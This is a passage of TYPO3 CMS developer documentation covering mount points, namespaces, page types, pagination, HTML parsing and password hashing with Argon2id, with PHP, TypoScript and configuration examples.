  tags:
    - { name: 'messenger.middleware' }

Symfony\Component\Messenger\Middleware\HandleMessageMiddleware:
  arguments:
    $handlersLocator: '@Symfony\Component\Messenger\Handler\HandlersLocatorInterface'
  tags:
    - name: 'messenger.middleware'
      after: 'Symfony\Component\Messenger\Middleware\SendMessageMiddleware'
Copied!

Mount points

Mount points allow TYPO3 editors to mount a page (and its subpages) from a different area in the current page tree.

The definitions are as follows:

  • Mount Point: A page with doktype set to 7 - a page pointing to a different page ("web mount") that should act as a replacement for this page and possible descendants.
  • Mounted Page, a.k.a. "Mount Target": A regular page containing content and subpages.

The idea behind it is to manage content only once and "link" / "mount" to a tree to be used multiple times - while keeping the website visitor under the impression to navigate just a regular subpage. There are concerns regarding SEO for having duplicate content, but TYPO3 can be used for more than just simple websites, as mount points are an important tool for massive multi-site installations or Intranet/Extranet installations.

A mount point has the option to either display the content of the mount point itself or the content of the target page when visiting this page.

Due to TYPO3's principles of slug handling where a page contains one single slug containing the whole URL path of that page, TYPO3 will combine the slug of the mount point and a smaller part of the Mounted Page or subpages of the Mounted Page, which will be added to the URL string.

Mounted subpages don't have a representation of their own in the page tree, meaning they cannot be linked directly. However, the TYPO3 menu generation will take mount points into account and generate subpage links accordingly.

Simple usage example

Consider this setup:

example page tree
page   tree
====== ====================
1      Root
2      ├── Basic Mount Point    <- mount point, mounting page 3
3      └── Company              <- mounted by page 2
4          └── About us
Copied!

Let's assume the mount point page two is configured like this:

Data in the mount point
Title         :  Basic Mount Point
URL segment   :  basic-mountpoint
Target page   :  Company
Display option:  "Show the mounted page" (subpages included)
Copied!

The result will be:

company

https://example.org/company/

This is just the normal page 3 showing its content.

basic-mountpoint

https://example.org/basic-mountpoint/

This is the mount point page 2 showing the content of page 3.

about-us
https://example.org/basic-mountpoint/about-us
https://example.org/company/about-us

Both URLs will show the same content, namely that of page 4.

Multi-site support

Mount points generally support cross-site mounts. The context for cross-domain sites is kept, ensuring that the user will never notice that content might be coming from a completely different site or pagetree within TYPO3.

Creating links for multi-site mount points works the same way as in a same site setup.

Situation:

example page tree
Page   Tree
====== ====================

1      Site 1: example.org
2      └── Company              <- mounted by page 5
3          └── About us

4      Site 2: company.example.org
5      └── Cross site mount     <- mount point page that is mounting page 2
Copied!

Configuration of mount point page 5:

Data in the mount point
Title         :  Cross site mount
URL segment   :  cross-site-mount
Target page   :  Company
Display option:  "Show the mounted page" (subpages included)
Copied!

This will be the result:

company
https://example.org/company
https://company.example.org/cross-site-mount/

Both pages are rendered from the same content. They may appear visually different though if the sites use different styles.

company/about-us
https://example.org/company/about-us
https://company.example.org/cross-site-mount/about-us

Same here: Both pages are rendered from the same content. They may appear visually different though if the sites use different styles.

Limitations

  1. Multi-language support

    Please be aware that multi-language setups are generally supported, but this only works if both sites use the same language IDs (for example, you cannot combine a site with a configured language ID 13 with a site using only ID 1).

  2. Slug uniqueness when using Multi-Site setups cannot be ensured

    If a Mount Point Page has the slug "/more", mounting a page with "/imprint" subpage, but the Mount Point Page has a regular sibling page with "/more/imprint" a collision cannot be detected. In contrast, the non-mounted page would always work, and a subpage of a Mounted Page would never be reached.:

    example page tree
    Page   Tree
    ====== ====================
    
    1      Site 1: example.org
    2      └── More              <- mounted by page 5
    3          └── Imprint       <- page will never be reached via Site 2
    
    4      Site 2: company.example.org
    5      └── More              <- mount point page that is mounting page 2
    6      └── Imprint           <- slug manually configured to `more/imprint/`
    Copied!

See also

Related TypoScript properties:

Namespaces

TYPO3 uses PHP namespaces for all classes in the Core.

The general structure of namespaces is the following:

General namespace schema
\{VendorName}\{PackageName}\({CategoryName}\)*{ClassName}
Copied!

For the Core, the vendor name is \TYPO3\CMS and the package name corresponds to a system extension.

All classes must be located inside the Classes folder at the root of the (system) extension. The category name may contain several segments that correspond to the path inside the Classes folder.

Finally the class name is the same as the corresponding file name, without the .php extension.

"UpperCamelCase" is used for all segments.

Core example

The good old t3lib_div class has been renamed to: \TYPO3\CMS\Core\Utility\GeneralUtility

This means that the class is now found in the core system extension, in folder Classes/Utility, in a file named GeneralUtility.php.

Usage in extensions

Extension developers are free to use their own vendor name. Important: It may consist of one segment only. Vendor names must start with an uppercase character and are usually written in UpperCamelCase style. In order to avoid problems with different filesystems, only the characters a-z, A-Z, 0-9 and the dash sign "-" are allowed for package names – don't use special characters:

Examples for vendor names
// correct vendor name for 'web company':
\WebCompany

// wrong vendor name for 'web company':
\Web\Company
Copied!

The package name corresponds to the extension key. Underscores in the extension key are removed in the namespace and replaced by upper camel-case. So extension key:

Do not do this
weird-name_examples
Copied!

would become:

Do not do this
Weird-nameExamples
Copied!

in the namespace.

As mentioned above, all classes must be located in the Classes folder inside your extension. All sub-folders translate to a segment of the category name and the class name is the file name without the .php extension.

Looking at the "examples" extension, file examples/Classes/Controller/DefaultController.php

corresponds to the class with \Documentation\Examples\Controller\DefaultController as fully qualified name.

Inside the class, the namespace is declared as:

EXT:examples/Classes/Controller/DefaultController.php
<?php
namespace Documentation\Examples\Controller;
Copied!

Namespaces in Extbase

When registering components in Extbase, the "UpperCamelCase" notation of the extension key is used.

For a backend module:

EXT:my_extension/Configuration/Backend/Modules.php
<?php

return [
    'example_module' => [
        'extensionName' => 'MyExtension',
        // ...
    ],
];
Copied!

For a frontend module:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

defined('TYPO3') or die();

ExtensionUtility::configurePlugin(
    'MyExtension',
    // ...
);
Copied!

Namespaces for test classes

As for ordinary classes, namespaces for test classes start with a vendor name followed by the extension key.

All test classes reside in a Tests folder and thus the third segment of the namespace must be "Tests". Unit tests are located in a Unit folder which is the fourth segment of the namespace. Any further subfolders will be subsequent segments.

So a test class in EXT:foo_bar_baz/Tests/Unit/Bla/ will have as namespace \MyVendor\FooBarBaz\Tests\Unit\Bla.

Creating Instances

The following example shows how you can create instances by means of GeneralUtility::makeInstance():

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

$contentObject = GeneralUtility::makeInstance(ContentObjectRenderer::class);
Copied!

include and required

There is no need for require() or include() statements. All classes adhering to namespace conventions will automatically be located and included by the autoloader.

References

For more information about PHP namespaces in general, you may want to refer to the PHP documentation and in particular the Namespaces FAQ.

Page types

TYPO3 organizes content using different page types, each serving a specific purpose. See also Types of pages.

Each page type serves a different function in TYPO3’s content hierarchy, making it easier to manage complex websites.

Screenshot of the page properties form with highlighted page type (field `doktype`) and the page tree with the page type icons

When creating a page, different page types are available at the top of the page tree. The page type can be edited in the page properties for existing pages.

The predefined page types are defined as constants in \TYPO3\CMS\Core\Domain\Repository\PageRepository .

Additional page types can be registered in the \TYPO3\CMS\Core\DataHandling\PageDoktypeRegistry , see also Create new Page Type.

Types of pages

TYPO3 has predefined a number of pages types as constants in typo3/sysext/core/Classes/Domain/Repository/PageRepository.php.

What role each page type plays and when to use it is explained in more detail in Page types. Some of the page types require additional fields in pages to be filled out:

DOKTYPE_DEFAULT - ID: 1
Standard
DOKTYPE_LINK - ID: 3

Link to External URL

This type of page creates a redirect to an URL in the frontend. The URL is specified in the field pages.url.

DOKTYPE_SHORTCUT - ID: 4

Shortcut

This type of page creates a redirect to another page in the frontend. The shortcut target is specified in the field pages.shortcut, shortcut mode is stored in pages.shortcut_mode.

DOKTYPE_BE_USER_SECTION - ID: 6
Backend user Section
DOKTYPE_MOUNTPOINT - ID: 7

Mount point

The mounted page is specified in pages.mount_pid, while display options can be changed with pages.mount_pid_ol. See MountPoints documentation.

DOKTYPE_SPACER - ID: 199
Menu separator
DOKTYPE_SYSFOLDER - ID: 254
Folder

Changed in version 13.0

The recycler doktype (DOKTYPE_RECYCLER - ID: 255) is removed and cannot be selected or used anymore. Any existing recycler pages are migrated to a page of type "Backend User Section" which is also not accessible if there is no valid backend user with permission to see this page.

X-Redirect-By header for pages with redirect types

The following page types trigger a redirect:

Those redirects will send an additional HTTP Header X-Redirect-By, stating what type of page triggered the redirect. By enabling the global option $GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation'] the header will also contain the page ID. As this exposes internal information about the TYPO3 system publicly, it should only be enabled for debugging purposes.

For shortcut and mountpoint pages:

Generated HTTP header
X-Redirect-By: TYPO3 Shortcut/Mountpoint
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 Shortcut/Mountpoint at page with ID 123
Copied!

For Links to External URL:

Generated HTTP header
X-Redirect-By: TYPO3 External URL
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 External URL at page with ID 456
Copied!

The header X-Redirect-By makes it easier to understand why a redirect happens when checking URLs, e.g. by using curl:

Using curl to check the HTTP header
curl -I 'https://example.org/examples/pages/link-to-external-url/'

HTTP/1.1 303 See Other
Date: Thu, 17 Sep 2020 17:45:34 GMT
X-Redirect-By: TYPO3 External URL at page with ID 12
X-TYPO3-Parsetime: 0ms
location: https://example.org
Cache-Control: max-age=0
Expires: Thu, 17 Sep 2020 17:45:34 GMT
X-UA-Compatible: IE=edge
Content-Type: text/html; charset=UTF-8
Copied!

Create new Page Type

The following example adds a new page type called "Archive".

The new page type visible in the TYPO3 backend

Changes need to be made in several files to create a new page type. Follow the directions below to the end:

  1. Add new page type to PageDoktypeRegistry

    The new page type has to be added to the \TYPO3\CMS\Core\DataHandling\PageDoktypeRegistry . TYPO3 uses this registry internally to only allow specific tables to be inserted on that page type. This registry will not add or modify any TCA. In example below all kind of tables (*) are allowed to be inserted on the new page type.

    The new page type is added to the PageDoktypeRegistry in ext_tables.php:

    EXT:examples/ext_tables.php
    <?php
    
    use TYPO3\CMS\Core\DataHandling\PageDoktypeRegistry;
    use TYPO3\CMS\Core\Utility\GeneralUtility;
    
    defined('TYPO3') or die();
    
    // Define a new doktype
    $customPageDoktype = 116;
    // Add page type to system
    $dokTypeRegistry = GeneralUtility::makeInstance(PageDoktypeRegistry::class);
    $dokTypeRegistry->add(
        $customPageDoktype,
        [
            'allowedTables' => '*',
        ],
    );
    
    Copied!
  2. Add an icon chosen for the new page type

    You need to add the icon chosen for the new page type and allow users to drag and drop the new page type to the page tree.

    We need to add the following user TSconfig to all users, so that the new page type is displayed in the wizard:

    EXT:examples/Configuration/user.tsconfig
    options.pageTree.doktypesToShowInNewPageDragArea := addToList(116)
    
    Copied!

    The icon is registered in Configuration/Icons.php:

    EXT:examples/Configuration/Icons.php
    <?php
    
    use TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider;
    
    return [
        'tx-examples-archive-page' => [
            'provider' => SvgIconProvider::class,
            'source' => 'EXT:examples/Resources/Public/Images/ArchivePage.svg',
        ],
    ];
    
    Copied!

    It is possible to define additional type icons for special case pages:

    • Page contains content from another page <doktype>-contentFromPid, For example: $GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-contentFromPid'] .
    • Page is hidden in navigation <doktype>-hideinmenu For example: $GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-hideinmenu'] .
    • Page is the root of the site <doktype>-root For example: $GLOBALS['TCA']['pages']['ctrl']['typeicon_classes']['116-root'] .
  3. Add new page type to doktype selector

    We need to modify the configuration of page records. As one can modify the pages, we need to add the new doktype as a select option and associate it with the configured icon. That is done in Configuration/TCA/Overrides/pages.php:

    EXT:examples/Configuration/TCA/Overrides/pages.php
    <?php
    
    defined('TYPO3') or die();
    
    // encapsulate all locally defined variables
    (function () {
        // SAME as registered in ext_tables.php
        $customPageDoktype = 116;
        $customIconClass = 'tx-examples-archive-page';
    
        // Add the new doktype to the page type selector
        \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTcaSelectItem(
            'pages',
            'doktype',
            [
                'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:archive_page_type',
                'value' => $customPageDoktype,
                'icon'  => $customIconClass,
                'group' => 'special',
            ],
        );
    
        // Add the icon to the icon class configuration
        $GLOBALS['TCA']['pages']['ctrl']['typeicon_classes'][$customPageDoktype] = $customIconClass;
    })();
    
    Copied!

    As you can see from the example, to make sure you get the correct icons, you can utilize typeicon_classes.

  4. Define your own columns for new page type

    By default the new page type will render all columns of default page type (DEFAULT (1)). If you want to chose your own columns you have to copy over all columns from default page type:

    EXT:examples/Configuration/TCA/Overrides/pages.php
    <?php
    
    defined('TYPO3') or die();
    
    // encapsulate all locally defined variables
    (function () {
        // ...code from previous example
    
        // Copy over all columns from default page type to allow TCA modifications
        // with f.e. ExtensionManagementUtility::addToAllTCAtypes()
        $GLOBALS['TCA']['pages']['types'][116] = $GLOBALS['TCA']['pages']['types'][1];
    })();
    
    Copied!

    Now you can modify TCA with Core API like ExtensionManagementUtility::addToAllTCAtypes();

Further Information

Pagination

The TYPO3 Core provides an interface to implement the native pagination of lists like arrays or query results of Extbase.

The foundation of that new interface \TYPO3\CMS\Core\Pagination\PaginatorInterface is that it's type agnostic. It means, that it doesn't define the type of paginatable objects. It's up to the concrete implementations to enable pagination for specific types. The interface only forces you to reduce the incoming list of items to an iterable sub set of items.

Along with that interface, an abstract paginator class \TYPO3\CMS\Core\Pagination\AbstractPaginator is available that implements the base pagination logic for any kind of Countable set of items while it leaves the processing of items to the concrete paginator class.

Two concrete paginators are available:

  • For type array: \TYPO3\CMS\Core\Pagination\ArrayPaginator
  • For type \TYPO3\CMS\Extbase\Persistence\QueryResultInterface : \TYPO3\CMS\Extbase\Pagination\QueryResultPaginator

Code example for the ArrayPaginator in an Extbase controller:

EXT:my_extension/Controller/ExampleController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Pagination\ArrayPaginator;
use TYPO3\CMS\Core\Pagination\SimplePagination;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class ExampleController extends ActionController
{
    public function myAction(): ResponseInterface
    {
        // For better demonstration we create fixed items, in real
        // world usage a list of models is used instead.
        $itemsToBePaginated = ['apple', 'banana', 'strawberry', 'raspberry', 'pineapple'];
        $itemsPerPage = 2;
        $currentPageNumber = 3;

        $paginator = new ArrayPaginator($itemsToBePaginated, $currentPageNumber, $itemsPerPage);
        $paginator->getNumberOfPages(); // returns 3
        $paginator->getCurrentPageNumber(); // returns 3, basically just returns the input value
        $paginator->getKeyOfFirstPaginatedItem(); // returns 4
        $paginator->getKeyOfLastPaginatedItem(); // returns 4

        $pagination = new SimplePagination($paginator);
        $pagination->getAllPageNumbers(); // returns [1, 2, 3]
        $pagination->getPreviousPageNumber(); // returns 2
        $pagination->getNextPageNumber(); // returns null

        // ... more logic ...

        $this->view->assignMultiple(
            [
                'pagination' => $pagination,
                'paginator' => $paginator,
            ],
        );

        return $this->htmlResponse();
    }
}
Copied!

And the corresponding Fluid template:

EXT:my_extension/Resources/Private/Templates/ExamplePagination.html
<ul class="pagination">
    <f:for each="{pagination.allPageNumbers}" as="page">
        <li class="page-item">
            <f:link.action
                arguments="{currentPageNumber:page}"
                class="page-link {f:if(condition:'{currentPageNumber}=={page}',then:'active')}"
            >
                {page}
            </f:link.action>
        </li>
    </f:for>
</ul>

<f:for each="{paginator.paginatedItems}" as="item">
    {item}
</f:for>
Copied!

Sliding window pagination

The sliding window pagination can be used to paginate array items or query results from Extbase. The main advantage is that it reduces the amount of pages shown.

Example: Imagine 1000 records and 20 items per page which would lead to 50 links. Using the SlidingWindowPagination, you will get something like this < prev ... 21 22 23 24 ... next > or < 1 ... 21 22 23 24 ... 50 > or simple < 21 22 23 24 >. Customise the template to suit your needs.

Usage

Replace the usage of SimplePagination with \TYPO3\CMS\Core\Pagination\SlidingWindowPagination and you are done. Set the 2nd argument to the maximum number of links which should be rendered.

EXT:my_extension/Controller/ExampleController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Repository\ExampleRepository;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Pagination\SlidingWindowPagination;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;
use TYPO3\CMS\Extbase\Pagination\QueryResultPaginator;

final class ExampleController extends ActionController
{
    public function __construct(
        private readonly ExampleRepository $exampleRepository,
    ) {}

    public function myAction(): ResponseInterface
    {
        $allItems = $this->exampleRepository->findAll();

        $currentPage = $this->request->hasArgument('currentPageNumber')
            ? (int)$this->request->getArgument('currentPageNumber')
            : 1;
        $itemsPerPage = 10;
        $maximumLinks = 15;

        $paginator = new QueryResultPaginator(
            $allItems,
            $currentPage,
            $itemsPerPage,
        );
        $pagination = new SlidingWindowPagination(
            $paginator,
            $maximumLinks,
        );

        // ... more logic ...

        $this->view->assignMultiple([
            'pagination' => $pagination,
            'paginator' => $paginator,
        ]);

        return $this->htmlResponse();
    }
}
Copied!

Parsing HTML

TYPO3 provides its own HTML parsing class: \TYPO3\CMS\Core\Html\HtmlParser. This chapter shows some example uses.

Extracting Blocks From an HTML Document

The first example shows how to extract parts of a document. Consider the following code:

EXT:some_extension/Classes/SomeClass.php
$testHTML = '
   <DIV>
      <IMG src="welcome.gif">
      <p>Line 1</p>
      <p>Line <B class="test">2</B></p>
      <p>Line <b><i>3</i></p>
      <img src="test.gif" />
      <BR><br/>
      <TABLE>
         <tr>
            <td>Another line here</td>
         </tr>
      </TABLE>
   </div>
   <B>Text outside div tag</B>
   <table>
      <tr>
         <td>Another line here</td>
      </tr>
   </table>
';

   // Splitting HTML into blocks defined by <div> and <table> tags
$parseObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Html\HtmlParser::class);
$result = $parseObj->splitIntoBlock('div,table', $testHTML);
Copied!

After loading some dummy HTML code into a variable, we create an instance of \TYPO3\CMS\Core\Html\HtmlParser and ask it to split the HTML structure on "div" and "table" tags. A debug output of the result shows the following:

Debug output of HTML parsing

The HTML parsed into several blocks

As you can see the HTML source has been divided so the "div" section and the "table" section are found in key 1 and 3. Odd key always correspond to the extracted content and even keys to the content outside of the extracted parts.

Notice that the table inside of the "div" section was not "found". When you split content like this you get only elements on the same block-level in the source. You have to traverse the content recursively to find all tables - or just split on <table> only (which will not give you tables nested inside of tables though).

Note also how the HTML parser does not care for case (upper or lower, all tags were found).

Extracting Single Tags

It is also possible to split by non-block tags, for example "img" and "br":

EXT:some_extension/Classes/SomeClass.php
$result = $parseObj->splitTags('img,br', $testHTML);
Copied!

with the following result:

Debug output of HTML parsing

The HTML split along some tags

Again, all the odd keys in the array contain the tags that were found. Note how the parser handled transparently simple tags or self-closing tags.

Cleaning HTML Content

The HTML parsing class also provides a tool for manipulating HTML with the HTMLcleaner() method. The cleanup configuration is quite extensive. Please refer to the phpDoc comments of the HTMLcleaner() method for more details.

Here is a sample usage:

EXT:some_extension/Classes/SomeClass.php
$tagCfg = array(
   'b' => array(
      'nesting' => 1,
      'remap' => 'strong',
      'allowedAttribs' => 0
   ),
   'img' => array(),
   'div' => array(),
   'br' => array(),
   'p' => array(
      'fixAttrib' => array(
         'class' => array(
            'set' => 'bodytext'
         )
      )
   )
);
$result = $parseObj->HTMLcleaner(
   $testHTML,
   $tagCfg,
   FALSE,
   FALSE,
   array('xhtml' => 1)
);
Copied!

We first define our cleanup/transformation configuration. We define that only five tags should be kept ("b", "img", "div", "br" and "p"). All others are removed (HTMLcleaner() can be configured to keep all possible tags).

Additionally we indicate that "b" tags should be changed to "strong" and that correct nesting is required (otherwise the tag is removed). Also no attributed are allowed on "b" tags.

For "p" tags we indicate that the "attribute" should be added with value "bodytext".

Lastly - in the call to HTMLcleaner() itself, we request "xhtml" cleanup.

This is the result:

Debug output of cleaned up HTML

The cleaned up HTML code

Advanced Processing

There's much more that can be achieved with \TYPO3\CMS\Core\Html\HtmlParser in particular more advanced processing using callback methods that can perform additional work on each parsed element, including calling the HTML parser recursively.

This is too extensive to cover here.

Password hashing

Changed in version 13.0

The default hash algorithm has been changed from Argon2i to Argon2id.

Introduction

TYPO3 never stores passwords in plain text in the database. If the latest configured hash algorithm has been changed, TYPO3 will update the stored frontend and backend user password hashes upon user login.

TYPO3 uses modern hash algorithms suitable for the given PHP platform, the default being Argon2id.

This section is for administrators and users who want to know more about TYPO3 password hashing and have a basic understanding of hashing algorithms and configuration in TYPO3.

Basic knowledge

If a database has been compromised and the passwords have been stored as plain text, the attacker has most likely gained access to more than just the user's TYPO3 Frontend / Backend account. It's not uncommon for someone to use the same email and password combination for more than one online service, such as their bank account, social media accounts, or even their email provider.

To mitigate this risk, we can use one-way hash algorithms to transform a plain text password into an incomprehensible string of seemingly "random" characters. A hash, (also known as a checksum), is the result of a value (in this case the user's password) that has been transformed using a one-way function. Hashes are called "one-way functions" because they're quick and easy to generate, but incredibly hard to undo. You would require an incredible amount of computational power and time to try and reverse a hash back to its original value.

When a user tries to log in and submits their password through the login form, the same one-way function is performed and the result is compared against the hash stored in the database. If they're the same, we can safely assume the user typed in the correct password without ever needing to store their actual password!

The most well-known hash algorithm is MD5. Basic hash algorithms and especially MD5 have drawbacks though: First, if you find some other string that resolves to the same hash, you're screwed (that's called a collision). An attacker could login with a password that is not identical to "your" password, but still matches the calculated hash. And second, if an attacker just calculates a huge list of all possible passwords with their matching hashes (this is called a rainbow table) and puts them into a database to compare any given hash with, it can easily look up plain text passwords for given hashes. A simple MD5 hash is susceptible to both of these attack vectors and thus deemed insecure. MD5 rainbow tables for casual passwords can be found online and MD5 collision creation can be done without too many issues. In short: MD5 is not a suitable hashing algorithm for securing user passwords.

To mitigate the rainbow table attack vector, the idea of "salting" has been invented: Instead of hashing the given password directly and always ending up with the same hash for the same password (if different users use the same password they end up with the same hash in the database), a "salt" is added to the password. This salt is a random string calculated when the password is first set (when the user record is created) and stored together with the hash. The basic thinking is that the salt is added to the password before hashing, the "salt+password" combination is then hashed. The salt is stored next to the hash in the database. If then a user logs in and submits their username and password, the following happens:

  1. the requested user is looked up in the database,
  2. the salt of this user is looked up in the database,
  3. the submitted password is concatenated with the salt of the user,
  4. the "salt+password" combination is then hashed and compared with the stored hash of the user.

This is pretty clever and leads to the situation that users with the same password end up with different hashes in the database since their randomly calculated salt is different. This effectively makes rainbow tables (direct hash to password lists) unfeasible.

During the past years, further attack vectors to salted password hashes have been found. For example, MD5 hash attacks have been optimized such they are extremely quick on some platforms, where billions of hashes per second can be calculated with decent time and money efforts. This allows for easy password guessing, even with salted hashes. Modern password hash algorithms thus try to mitigate these attack vectors. Their hash calculation is expensive in terms of memory and CPU time even for short input string like passwords (short as in "not a book of text") and they can not be easily split into parallel sections to run on many systems in parallel or optimized into chunks by re-using already computed sections for different input again.

TYPO3 improved its standards in password hash storing over a long time and always went with more modern approaches: Core version v4.3 from 2009 added salted password storing, v4.5 from 2011 added salted passwords storing using the algorithm 'phpass' by default, v6.2 from 2014 made salted passwords storing mandatory, v8 added the improved hash algorithm 'PBKDF2' and used it by default.

Currently, Argon2id is the default and provided automatically by PHP. Argon2id is rather resilient against GPU and some other attacks, the default TYPO3 Core configuration even raises the default PHP configuration to make attacks on stored Argon2id user password hashes even more unfeasible.

This is the current state if you are reading this document. The rest is about details: It is possible to register own password hash algorithms with an extension if you really think this is needed. And it is possible to change options for frontend and backend user hash algorithms. By default however, TYPO3 automatically selects a good password hash algorithm and administrators usually do not have to take care of it. The PHP API is pretty straight forward and helps you to compare passwords with their stored hashes if needed in extensions.

One last point on this basic hash knowledge section: Password hashes are always only as secure as the chosen password: If a user has a trivial password like "foo", an attacker who has gotten hold of the salted password hash will always be successful to crack the hash with a common password hash crack tool, no matter how expensive the calculation is. Good password hashing does not rescue users from short passwords, or simple passwords that can be found in a dictionary. It is usually a good idea to force users to register with a password that has for instance at least some minimum length and contains even some special characters. See also Password policies.

What does it look like?

Below is an example of a frontend user with its stored password hash. Since TYPO3 can handle multiple different hash mechanisms in parallel, each hash is prefixed with a unique string that identifies the used hash algorithm. In this case it is $argon2id which denotes the Argon2id hash algorithm:

Data of a frontend user in the database
MariaDB [cms]> SELECT uid,username,password FROM fe_users WHERE uid=2;
+-----+----------+----------------------------------------------------------------------------------------------------+
| uid | username | password                                                                                           |
+-----+----------+----------------------------------------------------------------------------------------------------+
|   2 | someuser | $argon2id$v=19$m=65536,t=16,p=1$NkVhNmt5Ynl6ZDRkV1RlZw$16iztnV7xYJDlsG0hEL9sLGDGFC/WQx34ogfoWHBVJI |
+-----+----------+----------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
Copied!

Configuration

Configuration of password hashing is done by TYPO3 automatically and administrators usually do not need to worry about details too much: The installation process will configure the best available hash algorithm by default. Some of the most secure algorithms currently are Argon2i and Argon2id. Only if the PHP build is incomplete, some less secure fallback will be selected.

Switching between hash algorithms in a TYPO3 instance is unproblematic: Password hashes of the old selected algorithm are just kept but newly created users automatically use the new configured hash algorithm. If a user successfully logs in and a hash in the database for that user is found that uses an algorithm no longer configured as default hash algorithm, the user password hash will be upgraded to it. This way, existing user password hashes are updated to newer and better hash algorithms over time, upon login.

Note that "dead" users (users that don't use the site anymore and never login) will thus never get their hashes upgraded to better algorithms. This is an issue that can't be solved on this hash level directly since upgrading the password hash always requires the plain text password submitted by the user. However, it is a good idea to clean up dead users from the database anyway. Site administrators should establish processes to comply with the idea of data minimisation of person related data (General Data Protection Regulation, GDPR). TYPO3 helps here for instance with the "Table garbage collection" task of the scheduler extension. See Scheduler: Garbage Collection

To verify and select which specific hash algorithm is currently configured for frontend and backend users, a preset of the settings module is available. It can be found in Admin Tools > Settings > Configuration presets > Password hashing settings:

Argon2id active for frontend and backend users

Argon2id active for frontend and backend users

The image shows settings for an instance that runs with frontend and backend users having their passwords stored as Argon2id hashes in the database. You should use one of the Argon2 algorithms, as the other listed algorithms are deemed less secure. They rely on different PHP capabilities and might be suitable fall backs, if Argon2i or Argon2id are not available for whatever reason.

Configuration options

Configuration of password hashing is stored in config/system/settings.php with defaults in EXT:core/Configuration/DefaultConfiguration.php (GitHub) at five places:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['availablePasswordHashAlgorithms']
An array of class names. This is the list of available password hash algorithms. Extensions may extend this list if they need to register new (and hopefully even more secure) hash algorithms.
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['className']
The salt class name configured as default hash mechanism for frontend users.
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['options']
Special options of the configured hash algorithm. This is usually an empty array to fall back to defaults, see below for more details.

Available hash algorithms

The list of available hash mechanisms is pretty rich and may be extended further if better hash algorithms over time. Most algorithms have additional configuration options that may be used to increase or lower the needed computation power to calculated hashes. Administrators usually do not need to fiddle with these and should go with defaults configured by the Core. If changing these options, administrators should know exactly what they are doing.

Argon2i / Argon2id

Argon2 is a modern key derivation function that was selected as the winner of the Password Hashing Competition in July 2015. There are two available versions:

  • Argon2i: should be available on all PHP builds since PHP version 7.2.
  • Argon2id: should be available on all PHP builds since PHP version 7.3.

Options:

  • memory_cost: Maximum memory (in kibibytes) that may be used to compute the Argon2 hash. Defaults to 65536.
  • time_cost: Maximum amount of time it may take to compute the Argon2 hash. This is the execution time, given in number of iterations. Defaults to 16.
  • threads: Number of threads to use for computing the Argon2 hash. Defaults to 2.

bcrypt

bcrypt is a password hashing algorithm based on blowfish and has been presented in 1999. It needs some additional quirks for long passwords in PHP and should only be used if Argon2i is not available. Options:

  • cost: Denotes the algorithmic time cost that should be used, given in number of iterations. Defaults to 12.

PBKDF2

PBKDF2 is a key derivation function recommended by IETF in RFC 8018 as part of the PKCS series, even though newer password hashing functions such as Argon2i are designed to address weaknesses of PBKDF2. It could be a preferred password hash algorithm if storing passwords in a FIPS compliant way is necessary. Options:

  • hash_count: Number of hash iterations (time cost). Defaults to 25000.

phpass

phpass phpass is a portable public domain password hashing framework for use in PHP applications since 2005. The implementation should work on almost all PHP builds. Options:

  • hash_count: The default log2 number of iterations (time cost) for password stretching. Defaults to 14.

blowfish

TYPO3's salted password hash implementation based on blowfish and PHP`s crypt() function. It has been integrated very early to TYPO3 but should no longer be used. It is only included for instances that still need to upgrade outdated password hashes to better algorithms. Options:

  • hash_count: The default log2 number of iterations for password stretching. Defaults to 7.

md5salt

TYPO3's salted password hash implementation based on md5 and PHP`s crypt() function. It should not be used any longer and is only included for instances that still need to upgrade outdated password hashes to better algorithms.

PHP API

Creating a hash

To create a new password hash from a given plain-text password, these are the steps to be done:

  • Let the factory deliver an instance of the default hashing class with given context FE or BE
  • Create the user password hash

Example implementation for TYPO3 frontend:

EXT:some_extension/Classes/Controller/SomeController.php
// Given plain text password
$password = 'someHopefullyGoodAndLongPassword';
$hashInstance = GeneralUtility::makeInstance(PasswordHashFactory::class)->getDefaultHashInstance('FE');
$hashedPassword = $hashInstance->getHashedPassword($password);
Copied!

Checking a password

To check a plain-text password against a password hash, these are the steps to be done:

  • Let the factory deliver an instance of the according hashing class
  • Compare plain-text password with salted user password hash

Example implementation for TYPO3 frontend:

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Crypto\PasswordHashing\PasswordHashFactory;
// ...
// Given plain-text password
$password = 'someHopefullyGoodAndLongPassword';
// The stored password hash from database
$passwordHash = 'YYY';
// The context, either 'FE' or 'BE'
$mode = 'FE';
$success = GeneralUtility::makeInstance(PasswordHashFactory::class)
    ->get($passwordHash, $mode) # or getDefaultHashInstance($mode)
    ->checkPassword($password, $passwordHash);
Copied!

Adding a new hash mechanism

To add an additional hash algorithm, these steps are necessary:

More information

Troubleshooting

#1533818591 InvalidPasswordHashException

If the hashing mechanism used in passwords is not supported by your PHP build Errors like the following might pop up:

#1533818591 TYPO3\CMS\Core\Crypto\PasswordHashing\InvalidPasswordHashException
No implementation found that handles given hash. This happens if the
stored hash uses a mechanism not supported by current server.
Copied!

Explanation

